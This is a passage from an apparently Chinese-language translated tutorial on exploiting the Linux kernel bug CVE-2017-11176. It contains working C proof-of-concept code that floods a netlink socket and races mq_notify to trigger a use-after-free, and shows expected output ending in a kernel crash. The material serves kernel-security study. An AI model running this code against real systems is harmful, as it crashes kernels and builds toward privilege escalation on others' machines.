 // notify the main thread that the unblock thread has been created. It *must*
 // directly call mq_notify().
 uta->is_ready = true;

 sleep(5); // gives some time for the main thread to block

 printf("[ ][unblock] closing %d fd\n", uta->sock_fd);
 _close(uta->sock_fd);

 printf("[ ][unblock] unblocking now\n");
 if (_setsockopt(uta->unblock_fd, SOL_NETLINK, NETLINK_NO_ENOBUFS, &val, sizeof(val)))
   perror("[+] setsockopt");
 return NULL;
}

// ------------------------------------------------------------------------

static int decrease_sock_refcounter(int sock_fd, int unblock_fd)
{
 pthread_t tid;
 struct sigevent sigev;
 struct unblock_thread_arg uta;
 char sival_buffer[NOTIFY_COOKIE_LEN];

 // initialize the unblock thread arguments
 uta.sock_fd = sock_fd;
 uta.unblock_fd = unblock_fd;
 uta.is_ready = false;
```

```
 // initialize the sigevent structure
 memset(&sigev, 0, sizeof(sigev));
 sigev.sigev_notify = SIGEV_THREAD;
 sigev.sigev_value.sival_ptr = sival_buffer;
 sigev.sigev_signo = uta.sock_fd;

 printf("[ ] creating unblock thread...\n");
 if ((errno = pthread_create(&tid, NULL, unblock_thread, &uta)) != 0)
 {
   perror("[-] pthread_create");
   goto fail;
 }
 while (uta.is_ready == false) // spinlock until thread is created
   ;
 printf("[+] unblocking thread has been created!\n");

 printf("[ ] get ready to block\n");
 if ((_mq_notify((mqd_t)-1, &sigev) != -1) || (errno != EBADF))
 {
   perror("[-] mq_notify");
   goto fail;
 }
 printf("[+] mq_notify succeed\n");

 return 0;

fail:
 return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

/*
* Creates a netlink socket and fills its receive buffer.
*
* Returns the socket file descriptor or -1 on error.
*/

static int prepare_blocking_socket(void)
{
 int send_fd;
 int recv_fd;
 char buf[1024*10];
 int new_size = 0; // this will be reset to SOCK_MIN_RCVBUF

 struct sockaddr_nl addr = {
   .nl_family = AF_NETLINK,
   .nl_pad = 0,
   .nl_pid = 118, // must different than zero
   .nl_groups = 0 // no groups
 };

 struct iovec iov = {
   .iov_base = buf,
   .iov_len = sizeof(buf)
 };

 struct msghdr mhdr = {
   .msg_name = &addr,
   .msg_namelen = sizeof(addr),
   .msg_iov = &iov,
   .msg_iovlen = 1,
   .msg_control = NULL,
   .msg_controllen = 0,
   .msg_flags = 0,
 };
```

```
 printf("[ ] preparing blocking netlink socket\n");

 if ((send_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0 ||
     (recv_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK)) < 0)
 {
   perror("socket");
   goto fail;
 }
 printf("[+] socket created (send_fd = %d, recv_fd = %d)\n", send_fd, recv_fd);

 while (_bind(recv_fd, (struct sockaddr*)&addr, sizeof(addr)))
 {
   if (errno != EADDRINUSE)
   {
     perror("[-] bind");
     goto fail;
   }
   addr.nl_pid++;
 }

 printf("[+] netlink socket bound (nl_pid=%d)\n", addr.nl_pid);

 if (_setsockopt(recv_fd, SOL_SOCKET, SO_RCVBUF, &new_size, sizeof(new_size)))
   perror("[-] setsockopt"); // no worry if it fails, it is just an optim.
 else
   printf("[+] receive buffer reduced\n");

 printf("[ ] flooding socket\n");
 while (_sendmsg(send_fd, &mhdr, MSG_DONTWAIT) > 0)
   ;
 if (errno != EAGAIN)
 {
   perror("[-] sendmsg");
   goto fail;
 }
 printf("[+] flood completed\n");

 _close(send_fd);

 printf("[+] blocking socket ready\n");
 return recv_fd;

fail:
 printf("[-] failed to prepare block socket\n");
 return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================

int main(void)
{
 int sock_fd  = -1;
 int sock_fd2 = -1;
 int unblock_fd = 1;

 printf("[ ] -={ CVE-2017-11176 Exploit }=-\n");

 if ((sock_fd = prepare_blocking_socket()) < 0)
   goto fail;
 printf("[+] netlink socket created = %d\n", sock_fd);

 if (((unblock_fd = _dup(sock_fd)) < 0) || ((sock_fd2 = _dup(sock_fd)) < 0))
 {
   perror("[-] dup");
   goto fail;
 }
 printf("[+] netlink fd duplicated (unblock_fd=%d, sock_fd2=%d)\n", unblock_fd, sock_fd2);
```

```
 // trigger the bug twice
 if (decrease_sock_refcounter(sock_fd, unblock_fd) ||
     decrease_sock_refcounter(sock_fd2, unblock_fd))
 {
   goto fail;
 }

 printf("[ ] ready to crash?\n");
 PRESS_KEY();

 // TODO: exploit

 return 0;

fail:
 printf("[-] exploit failed!\n");
 PRESS_KEY();
 return -1;
}

// ============================================================================
// ----------------------------------------------------------------------------
// ============================================================================
```

预期输出：

```
[ ] -={ CVE-2017-11176 Exploit }=-
[ ] preparing blocking netlink socket
[+] socket created (send_fd = 3, recv_fd = 4)
[+] netlink socket bound (nl_pid=118)
[+] receive buffer reduced
[ ] flooding socket
[+] flood completed
[+] blocking socket ready
[+] netlink socket created = 4
[+] netlink fd duplicated (unblock_fd=3, sock_fd2=5)
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 4 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] creating unblock thread...
[+] unblocking thread has been created!
[ ] get ready to block
[ ][unblock] closing 5 fd
[ ][unblock] unblocking now
[+] mq_notify succeed
[ ] ready to crash?
[ ] press key to continue...

<<< KERNEL CRASH HERE >>>
```

从现在开始，直到exp最终完成，每次运行PoC系统都会崩溃。这很烦人，但你会习惯的。可以通过禁止不必要的服务（例如图形界面等）来加快启动时间。记得最后重新启

结论

本文介绍了调度器子系统，任务状态以及如何通过等待队列在正在运行/等待状态之间转换。理解这部分有助于唤醒主线并赢得竞态条件。

通过close()和dup()系统调用，使第二次调用fget()返回NULL，这是触发漏洞所必需的。最后，研究了如何使netlink_attachskb()返回1。

所有这些组合起来成了最终的PoC，可以在不使用System Tap的情况下可靠地触发漏洞并使内核崩溃。

接下来的文章将讨论一个重要的话题：释放后重用漏洞的利用。将阐述slab分配器的基础知识，类型混淆，重新分配以及如何通过它来获得任意调用。将公开一些有助于构建

上一篇：AWD代码审计—YXcms1.4.7 下一篇：浅谈端口扫描技术
1. 1 条回复

bsauce 2019-09-04 09:39:18

大佬，请问下part3还继续更新吗

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板